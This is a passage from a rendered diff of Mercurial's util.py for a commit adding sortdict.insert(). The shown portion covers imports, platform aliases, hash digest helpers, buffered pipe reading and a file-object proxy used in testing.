##// END OF EJS Templates
util: implement sortdict.insert()...
Martin von Zweigbergk -
r44359:68af0228 default
parent child Browse files
Show More
@@ -1,3599 +1,3610 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 procutil,
56 procutil,
57 stringutil,
57 stringutil,
58 )
58 )
59
59
60 base85 = policy.importmod('base85')
60 base85 = policy.importmod('base85')
61 osutil = policy.importmod('osutil')
61 osutil = policy.importmod('osutil')
62
62
63 b85decode = base85.b85decode
63 b85decode = base85.b85decode
64 b85encode = base85.b85encode
64 b85encode = base85.b85encode
65
65
66 cookielib = pycompat.cookielib
66 cookielib = pycompat.cookielib
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 safehasattr = pycompat.safehasattr
69 safehasattr = pycompat.safehasattr
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 bytesio = pycompat.bytesio
71 bytesio = pycompat.bytesio
72 # TODO deprecate stringio name, as it is a lie on Python 3.
72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 stringio = bytesio
73 stringio = bytesio
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 httpserver = urllibcompat.httpserver
76 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
77 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
78 urlreq = urllibcompat.urlreq
79
79
80 # workaround for win32mbcs
80 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
81 _filenamebytestr = pycompat.bytestr
82
82
83 if pycompat.iswindows:
83 if pycompat.iswindows:
84 from . import windows as platform
84 from . import windows as platform
85 else:
85 else:
86 from . import posix as platform
86 from . import posix as platform
87
87
88 _ = i18n._
88 _ = i18n._
89
89
90 bindunixsocket = platform.bindunixsocket
90 bindunixsocket = platform.bindunixsocket
91 cachestat = platform.cachestat
91 cachestat = platform.cachestat
92 checkexec = platform.checkexec
92 checkexec = platform.checkexec
93 checklink = platform.checklink
93 checklink = platform.checklink
94 copymode = platform.copymode
94 copymode = platform.copymode
95 expandglobs = platform.expandglobs
95 expandglobs = platform.expandglobs
96 getfsmountpoint = platform.getfsmountpoint
96 getfsmountpoint = platform.getfsmountpoint
97 getfstype = platform.getfstype
97 getfstype = platform.getfstype
98 groupmembers = platform.groupmembers
98 groupmembers = platform.groupmembers
99 groupname = platform.groupname
99 groupname = platform.groupname
100 isexec = platform.isexec
100 isexec = platform.isexec
101 isowner = platform.isowner
101 isowner = platform.isowner
102 listdir = osutil.listdir
102 listdir = osutil.listdir
103 localpath = platform.localpath
103 localpath = platform.localpath
104 lookupreg = platform.lookupreg
104 lookupreg = platform.lookupreg
105 makedir = platform.makedir
105 makedir = platform.makedir
106 nlinks = platform.nlinks
106 nlinks = platform.nlinks
107 normpath = platform.normpath
107 normpath = platform.normpath
108 normcase = platform.normcase
108 normcase = platform.normcase
109 normcasespec = platform.normcasespec
109 normcasespec = platform.normcasespec
110 normcasefallback = platform.normcasefallback
110 normcasefallback = platform.normcasefallback
111 openhardlinks = platform.openhardlinks
111 openhardlinks = platform.openhardlinks
112 oslink = platform.oslink
112 oslink = platform.oslink
113 parsepatchoutput = platform.parsepatchoutput
113 parsepatchoutput = platform.parsepatchoutput
114 pconvert = platform.pconvert
114 pconvert = platform.pconvert
115 poll = platform.poll
115 poll = platform.poll
116 posixfile = platform.posixfile
116 posixfile = platform.posixfile
117 readlink = platform.readlink
117 readlink = platform.readlink
118 rename = platform.rename
118 rename = platform.rename
119 removedirs = platform.removedirs
119 removedirs = platform.removedirs
120 samedevice = platform.samedevice
120 samedevice = platform.samedevice
121 samefile = platform.samefile
121 samefile = platform.samefile
122 samestat = platform.samestat
122 samestat = platform.samestat
123 setflags = platform.setflags
123 setflags = platform.setflags
124 split = platform.split
124 split = platform.split
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statisexec = platform.statisexec
126 statisexec = platform.statisexec
127 statislink = platform.statislink
127 statislink = platform.statislink
128 umask = platform.umask
128 umask = platform.umask
129 unlink = platform.unlink
129 unlink = platform.unlink
130 username = platform.username
130 username = platform.username
131
131
132 # small compat layer
132 # small compat layer
133 compengines = compression.compengines
133 compengines = compression.compengines
134 SERVERROLE = compression.SERVERROLE
134 SERVERROLE = compression.SERVERROLE
135 CLIENTROLE = compression.CLIENTROLE
135 CLIENTROLE = compression.CLIENTROLE
136
136
137 try:
137 try:
138 recvfds = osutil.recvfds
138 recvfds = osutil.recvfds
139 except AttributeError:
139 except AttributeError:
140 pass
140 pass
141
141
142 # Python compatibility
142 # Python compatibility
143
143
144 _notset = object()
144 _notset = object()
145
145
146
146
147 def bitsfrom(container):
147 def bitsfrom(container):
148 bits = 0
148 bits = 0
149 for bit in container:
149 for bit in container:
150 bits |= bit
150 bits |= bit
151 return bits
151 return bits
152
152
153
153
154 # python 2.6 still have deprecation warning enabled by default. We do not want
154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # to display anything to standard user so detect if we are running test and
155 # to display anything to standard user so detect if we are running test and
156 # only use python deprecation warning in this case.
156 # only use python deprecation warning in this case.
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 if _dowarn:
158 if _dowarn:
159 # explicitly unfilter our warning for python 2.7
159 # explicitly unfilter our warning for python 2.7
160 #
160 #
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 if _dowarn and pycompat.ispy3:
168 if _dowarn and pycompat.ispy3:
169 # silence warning emitted by passing user string to re.sub()
169 # silence warning emitted by passing user string to re.sub()
170 warnings.filterwarnings(
170 warnings.filterwarnings(
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 )
172 )
173 warnings.filterwarnings(
173 warnings.filterwarnings(
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 )
175 )
176 # TODO: reinvent imp.is_frozen()
176 # TODO: reinvent imp.is_frozen()
177 warnings.filterwarnings(
177 warnings.filterwarnings(
178 'ignore',
178 'ignore',
179 'the imp module is deprecated',
179 'the imp module is deprecated',
180 DeprecationWarning,
180 DeprecationWarning,
181 'mercurial',
181 'mercurial',
182 )
182 )
183
183
184
184
185 def nouideprecwarn(msg, version, stacklevel=1):
185 def nouideprecwarn(msg, version, stacklevel=1):
186 """Issue an python native deprecation warning
186 """Issue an python native deprecation warning
187
187
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 """
189 """
190 if _dowarn:
190 if _dowarn:
191 msg += (
191 msg += (
192 b"\n(compatibility will be dropped after Mercurial-%s,"
192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b" update your code.)"
193 b" update your code.)"
194 ) % version
194 ) % version
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196
196
197
197
198 DIGESTS = {
198 DIGESTS = {
199 b'md5': hashlib.md5,
199 b'md5': hashlib.md5,
200 b'sha1': hashlib.sha1,
200 b'sha1': hashlib.sha1,
201 b'sha512': hashlib.sha512,
201 b'sha512': hashlib.sha512,
202 }
202 }
203 # List of digest types from strongest to weakest
203 # List of digest types from strongest to weakest
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205
205
206 for k in DIGESTS_BY_STRENGTH:
206 for k in DIGESTS_BY_STRENGTH:
207 assert k in DIGESTS
207 assert k in DIGESTS
208
208
209
209
210 class digester(object):
210 class digester(object):
211 """helper to compute digests.
211 """helper to compute digests.
212
212
213 This helper can be used to compute one or more digests given their name.
213 This helper can be used to compute one or more digests given their name.
214
214
215 >>> d = digester([b'md5', b'sha1'])
215 >>> d = digester([b'md5', b'sha1'])
216 >>> d.update(b'foo')
216 >>> d.update(b'foo')
217 >>> [k for k in sorted(d)]
217 >>> [k for k in sorted(d)]
218 ['md5', 'sha1']
218 ['md5', 'sha1']
219 >>> d[b'md5']
219 >>> d[b'md5']
220 'acbd18db4cc2f85cedef654fccc4a4d8'
220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 >>> d[b'sha1']
221 >>> d[b'sha1']
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 >>> digester.preferred([b'md5', b'sha1'])
223 >>> digester.preferred([b'md5', b'sha1'])
224 'sha1'
224 'sha1'
225 """
225 """
226
226
227 def __init__(self, digests, s=b''):
227 def __init__(self, digests, s=b''):
228 self._hashes = {}
228 self._hashes = {}
229 for k in digests:
229 for k in digests:
230 if k not in DIGESTS:
230 if k not in DIGESTS:
231 raise error.Abort(_(b'unknown digest type: %s') % k)
231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 self._hashes[k] = DIGESTS[k]()
232 self._hashes[k] = DIGESTS[k]()
233 if s:
233 if s:
234 self.update(s)
234 self.update(s)
235
235
236 def update(self, data):
236 def update(self, data):
237 for h in self._hashes.values():
237 for h in self._hashes.values():
238 h.update(data)
238 h.update(data)
239
239
240 def __getitem__(self, key):
240 def __getitem__(self, key):
241 if key not in DIGESTS:
241 if key not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 return nodemod.hex(self._hashes[key].digest())
243 return nodemod.hex(self._hashes[key].digest())
244
244
245 def __iter__(self):
245 def __iter__(self):
246 return iter(self._hashes)
246 return iter(self._hashes)
247
247
248 @staticmethod
248 @staticmethod
249 def preferred(supported):
249 def preferred(supported):
250 """returns the strongest digest type in both supported and DIGESTS."""
250 """returns the strongest digest type in both supported and DIGESTS."""
251
251
252 for k in DIGESTS_BY_STRENGTH:
252 for k in DIGESTS_BY_STRENGTH:
253 if k in supported:
253 if k in supported:
254 return k
254 return k
255 return None
255 return None
256
256
257
257
258 class digestchecker(object):
258 class digestchecker(object):
259 """file handle wrapper that additionally checks content against a given
259 """file handle wrapper that additionally checks content against a given
260 size and digests.
260 size and digests.
261
261
262 d = digestchecker(fh, size, {'md5': '...'})
262 d = digestchecker(fh, size, {'md5': '...'})
263
263
264 When multiple digests are given, all of them are validated.
264 When multiple digests are given, all of them are validated.
265 """
265 """
266
266
267 def __init__(self, fh, size, digests):
267 def __init__(self, fh, size, digests):
268 self._fh = fh
268 self._fh = fh
269 self._size = size
269 self._size = size
270 self._got = 0
270 self._got = 0
271 self._digests = dict(digests)
271 self._digests = dict(digests)
272 self._digester = digester(self._digests.keys())
272 self._digester = digester(self._digests.keys())
273
273
274 def read(self, length=-1):
274 def read(self, length=-1):
275 content = self._fh.read(length)
275 content = self._fh.read(length)
276 self._digester.update(content)
276 self._digester.update(content)
277 self._got += len(content)
277 self._got += len(content)
278 return content
278 return content
279
279
280 def validate(self):
280 def validate(self):
281 if self._size != self._got:
281 if self._size != self._got:
282 raise error.Abort(
282 raise error.Abort(
283 _(b'size mismatch: expected %d, got %d')
283 _(b'size mismatch: expected %d, got %d')
284 % (self._size, self._got)
284 % (self._size, self._got)
285 )
285 )
286 for k, v in self._digests.items():
286 for k, v in self._digests.items():
287 if v != self._digester[k]:
287 if v != self._digester[k]:
288 # i18n: first parameter is a digest name
288 # i18n: first parameter is a digest name
289 raise error.Abort(
289 raise error.Abort(
290 _(b'%s mismatch: expected %s, got %s')
290 _(b'%s mismatch: expected %s, got %s')
291 % (k, v, self._digester[k])
291 % (k, v, self._digester[k])
292 )
292 )
293
293
294
294
295 try:
295 try:
296 buffer = buffer
296 buffer = buffer
297 except NameError:
297 except NameError:
298
298
299 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
300 if length is not None:
301 return memoryview(sliceable)[offset : offset + length]
301 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
303
303
304
304
305 _chunksize = 4096
305 _chunksize = 4096
306
306
307
307
308 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
309 """a manually buffered input pipe
309 """a manually buffered input pipe
310
310
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
314
314
315 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
318
318
319 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
320 module from the python stdlib.
321 """
321 """
322
322
323 def __new__(cls, fh):
323 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
325 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
326 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
327 cls = observedbufferedinputpipe
328
328
329 return super(bufferedinputpipe, cls).__new__(cls)
329 return super(bufferedinputpipe, cls).__new__(cls)
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def unbufferedread(self, size):
360 def unbufferedread(self, size):
361 if not self._eof and self._lenbuf == 0:
361 if not self._eof and self._lenbuf == 0:
362 self._fillbuffer(max(size, _chunksize))
362 self._fillbuffer(max(size, _chunksize))
363 return self._frombuffer(min(self._lenbuf, size))
363 return self._frombuffer(min(self._lenbuf, size))
364
364
365 def readline(self, *args, **kwargs):
365 def readline(self, *args, **kwargs):
366 if len(self._buffer) > 1:
366 if len(self._buffer) > 1:
367 # this should not happen because both read and readline end with a
367 # this should not happen because both read and readline end with a
368 # _frombuffer call that collapse it.
368 # _frombuffer call that collapse it.
369 self._buffer = [b''.join(self._buffer)]
369 self._buffer = [b''.join(self._buffer)]
370 self._lenbuf = len(self._buffer[0])
370 self._lenbuf = len(self._buffer[0])
371 lfi = -1
371 lfi = -1
372 if self._buffer:
372 if self._buffer:
373 lfi = self._buffer[-1].find(b'\n')
373 lfi = self._buffer[-1].find(b'\n')
374 while (not self._eof) and lfi < 0:
374 while (not self._eof) and lfi < 0:
375 self._fillbuffer()
375 self._fillbuffer()
376 if self._buffer:
376 if self._buffer:
377 lfi = self._buffer[-1].find(b'\n')
377 lfi = self._buffer[-1].find(b'\n')
378 size = lfi + 1
378 size = lfi + 1
379 if lfi < 0: # end of file
379 if lfi < 0: # end of file
380 size = self._lenbuf
380 size = self._lenbuf
381 elif len(self._buffer) > 1:
381 elif len(self._buffer) > 1:
382 # we need to take previous chunks into account
382 # we need to take previous chunks into account
383 size += self._lenbuf - len(self._buffer[-1])
383 size += self._lenbuf - len(self._buffer[-1])
384 return self._frombuffer(size)
384 return self._frombuffer(size)
385
385
386 def _frombuffer(self, size):
386 def _frombuffer(self, size):
387 """return at most 'size' data from the buffer
387 """return at most 'size' data from the buffer
388
388
389 The data are removed from the buffer."""
389 The data are removed from the buffer."""
390 if size == 0 or not self._buffer:
390 if size == 0 or not self._buffer:
391 return b''
391 return b''
392 buf = self._buffer[0]
392 buf = self._buffer[0]
393 if len(self._buffer) > 1:
393 if len(self._buffer) > 1:
394 buf = b''.join(self._buffer)
394 buf = b''.join(self._buffer)
395
395
396 data = buf[:size]
396 data = buf[:size]
397 buf = buf[len(data) :]
397 buf = buf[len(data) :]
398 if buf:
398 if buf:
399 self._buffer = [buf]
399 self._buffer = [buf]
400 self._lenbuf = len(buf)
400 self._lenbuf = len(buf)
401 else:
401 else:
402 self._buffer = []
402 self._buffer = []
403 self._lenbuf = 0
403 self._lenbuf = 0
404 return data
404 return data
405
405
406 def _fillbuffer(self, size=_chunksize):
406 def _fillbuffer(self, size=_chunksize):
407 """read data to the buffer"""
407 """read data to the buffer"""
408 data = os.read(self._input.fileno(), size)
408 data = os.read(self._input.fileno(), size)
409 if not data:
409 if not data:
410 self._eof = True
410 self._eof = True
411 else:
411 else:
412 self._lenbuf += len(data)
412 self._lenbuf += len(data)
413 self._buffer.append(data)
413 self._buffer.append(data)
414
414
415 return data
415 return data
416
416
417
417
418 def mmapread(fp):
418 def mmapread(fp):
419 try:
419 try:
420 fd = getattr(fp, 'fileno', lambda: fp)()
420 fd = getattr(fp, 'fileno', lambda: fp)()
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 except ValueError:
422 except ValueError:
423 # Empty files cannot be mmapped, but mmapread should still work. Check
423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 # if the file is empty, and if so, return an empty buffer.
424 # if the file is empty, and if so, return an empty buffer.
425 if os.fstat(fd).st_size == 0:
425 if os.fstat(fd).st_size == 0:
426 return b''
426 return b''
427 raise
427 raise
428
428
429
429
430 class fileobjectproxy(object):
430 class fileobjectproxy(object):
431 """A proxy around file objects that tells a watcher when events occur.
431 """A proxy around file objects that tells a watcher when events occur.
432
432
433 This type is intended to only be used for testing purposes. Think hard
433 This type is intended to only be used for testing purposes. Think hard
434 before using it in important code.
434 before using it in important code.
435 """
435 """
436
436
437 __slots__ = (
437 __slots__ = (
438 '_orig',
438 '_orig',
439 '_observer',
439 '_observer',
440 )
440 )
441
441
442 def __init__(self, fh, observer):
442 def __init__(self, fh, observer):
443 object.__setattr__(self, '_orig', fh)
443 object.__setattr__(self, '_orig', fh)
444 object.__setattr__(self, '_observer', observer)
444 object.__setattr__(self, '_observer', observer)
445
445
446 def __getattribute__(self, name):
446 def __getattribute__(self, name):
447 ours = {
447 ours = {
448 '_observer',
448 '_observer',
449 # IOBase
449 # IOBase
450 'close',
450 'close',
451 # closed if a property
451 # closed if a property
452 'fileno',
452 'fileno',
453 'flush',
453 'flush',
454 'isatty',
454 'isatty',
455 'readable',
455 'readable',
456 'readline',
456 'readline',
457 'readlines',
457 'readlines',
458 'seek',
458 'seek',
459 'seekable',
459 'seekable',
460 'tell',
460 'tell',
461 'truncate',
461 'truncate',
462 'writable',
462 'writable',
463 'writelines',
463 'writelines',
464 # RawIOBase
464 # RawIOBase
465 'read',
465 'read',
466 'readall',
466 'readall',
467 'readinto',
467 'readinto',
468 'write',
468 'write',
469 # BufferedIOBase
469 # BufferedIOBase
470 # raw is a property
470 # raw is a property
471 'detach',
471 'detach',
472 # read defined above
472 # read defined above
473 'read1',
473 'read1',
474 # readinto defined above
474 # readinto defined above
475 # write defined above
475 # write defined above
476 }
476 }
477
477
478 # We only observe some methods.
478 # We only observe some methods.
479 if name in ours:
479 if name in ours:
480 return object.__getattribute__(self, name)
480 return object.__getattribute__(self, name)
481
481
482 return getattr(object.__getattribute__(self, '_orig'), name)
482 return getattr(object.__getattribute__(self, '_orig'), name)
483
483
484 def __nonzero__(self):
484 def __nonzero__(self):
485 return bool(object.__getattribute__(self, '_orig'))
485 return bool(object.__getattribute__(self, '_orig'))
486
486
487 __bool__ = __nonzero__
487 __bool__ = __nonzero__
488
488
489 def __delattr__(self, name):
489 def __delattr__(self, name):
490 return delattr(object.__getattribute__(self, '_orig'), name)
490 return delattr(object.__getattribute__(self, '_orig'), name)
491
491
492 def __setattr__(self, name, value):
492 def __setattr__(self, name, value):
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494
494
495 def __iter__(self):
495 def __iter__(self):
496 return object.__getattribute__(self, '_orig').__iter__()
496 return object.__getattribute__(self, '_orig').__iter__()
497
497
498 def _observedcall(self, name, *args, **kwargs):
498 def _observedcall(self, name, *args, **kwargs):
499 # Call the original object.
499 # Call the original object.
500 orig = object.__getattribute__(self, '_orig')
500 orig = object.__getattribute__(self, '_orig')
501 res = getattr(orig, name)(*args, **kwargs)
501 res = getattr(orig, name)(*args, **kwargs)
502
502
503 # Call a method on the observer of the same name with arguments
503 # Call a method on the observer of the same name with arguments
504 # so it can react, log, etc.
504 # so it can react, log, etc.
505 observer = object.__getattribute__(self, '_observer')
505 observer = object.__getattribute__(self, '_observer')
506 fn = getattr(observer, name, None)
506 fn = getattr(observer, name, None)
507 if fn:
507 if fn:
508 fn(res, *args, **kwargs)
508 fn(res, *args, **kwargs)
509
509
510 return res
510 return res
511
511
512 def close(self, *args, **kwargs):
512 def close(self, *args, **kwargs):
513 return object.__getattribute__(self, '_observedcall')(
513 return object.__getattribute__(self, '_observedcall')(
514 'close', *args, **kwargs
514 'close', *args, **kwargs
515 )
515 )
516
516
517 def fileno(self, *args, **kwargs):
517 def fileno(self, *args, **kwargs):
518 return object.__getattribute__(self, '_observedcall')(
518 return object.__getattribute__(self, '_observedcall')(
519 'fileno', *args, **kwargs
519 'fileno', *args, **kwargs
520 )
520 )
521
521
522 def flush(self, *args, **kwargs):
522 def flush(self, *args, **kwargs):
523 return object.__getattribute__(self, '_observedcall')(
523 return object.__getattribute__(self, '_observedcall')(
524 'flush', *args, **kwargs
524 'flush', *args, **kwargs
525 )
525 )
526
526
527 def isatty(self, *args, **kwargs):
527 def isatty(self, *args, **kwargs):
528 return object.__getattribute__(self, '_observedcall')(
528 return object.__getattribute__(self, '_observedcall')(
529 'isatty', *args, **kwargs
529 'isatty', *args, **kwargs
530 )
530 )
531
531
532 def readable(self, *args, **kwargs):
532 def readable(self, *args, **kwargs):
533 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
534 'readable', *args, **kwargs
534 'readable', *args, **kwargs
535 )
535 )
536
536
537 def readline(self, *args, **kwargs):
537 def readline(self, *args, **kwargs):
538 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
539 'readline', *args, **kwargs
539 'readline', *args, **kwargs
540 )
540 )
541
541
542 def readlines(self, *args, **kwargs):
542 def readlines(self, *args, **kwargs):
543 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
544 'readlines', *args, **kwargs
544 'readlines', *args, **kwargs
545 )
545 )
546
546
547 def seek(self, *args, **kwargs):
547 def seek(self, *args, **kwargs):
548 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
549 'seek', *args, **kwargs
549 'seek', *args, **kwargs
550 )
550 )
551
551
552 def seekable(self, *args, **kwargs):
552 def seekable(self, *args, **kwargs):
553 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
554 'seekable', *args, **kwargs
554 'seekable', *args, **kwargs
555 )
555 )
556
556
557 def tell(self, *args, **kwargs):
557 def tell(self, *args, **kwargs):
558 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
559 'tell', *args, **kwargs
559 'tell', *args, **kwargs
560 )
560 )
561
561
562 def truncate(self, *args, **kwargs):
562 def truncate(self, *args, **kwargs):
563 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
564 'truncate', *args, **kwargs
564 'truncate', *args, **kwargs
565 )
565 )
566
566
567 def writable(self, *args, **kwargs):
567 def writable(self, *args, **kwargs):
568 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
569 'writable', *args, **kwargs
569 'writable', *args, **kwargs
570 )
570 )
571
571
572 def writelines(self, *args, **kwargs):
572 def writelines(self, *args, **kwargs):
573 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
574 'writelines', *args, **kwargs
574 'writelines', *args, **kwargs
575 )
575 )
576
576
577 def read(self, *args, **kwargs):
577 def read(self, *args, **kwargs):
578 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
579 'read', *args, **kwargs
579 'read', *args, **kwargs
580 )
580 )
581
581
582 def readall(self, *args, **kwargs):
582 def readall(self, *args, **kwargs):
583 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
584 'readall', *args, **kwargs
584 'readall', *args, **kwargs
585 )
585 )
586
586
587 def readinto(self, *args, **kwargs):
587 def readinto(self, *args, **kwargs):
588 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
589 'readinto', *args, **kwargs
589 'readinto', *args, **kwargs
590 )
590 )
591
591
592 def write(self, *args, **kwargs):
592 def write(self, *args, **kwargs):
593 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
594 'write', *args, **kwargs
594 'write', *args, **kwargs
595 )
595 )
596
596
597 def detach(self, *args, **kwargs):
597 def detach(self, *args, **kwargs):
598 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
599 'detach', *args, **kwargs
599 'detach', *args, **kwargs
600 )
600 )
601
601
602 def read1(self, *args, **kwargs):
602 def read1(self, *args, **kwargs):
603 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
604 'read1', *args, **kwargs
604 'read1', *args, **kwargs
605 )
605 )
606
606
607
607
608 class observedbufferedinputpipe(bufferedinputpipe):
608 class observedbufferedinputpipe(bufferedinputpipe):
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610
610
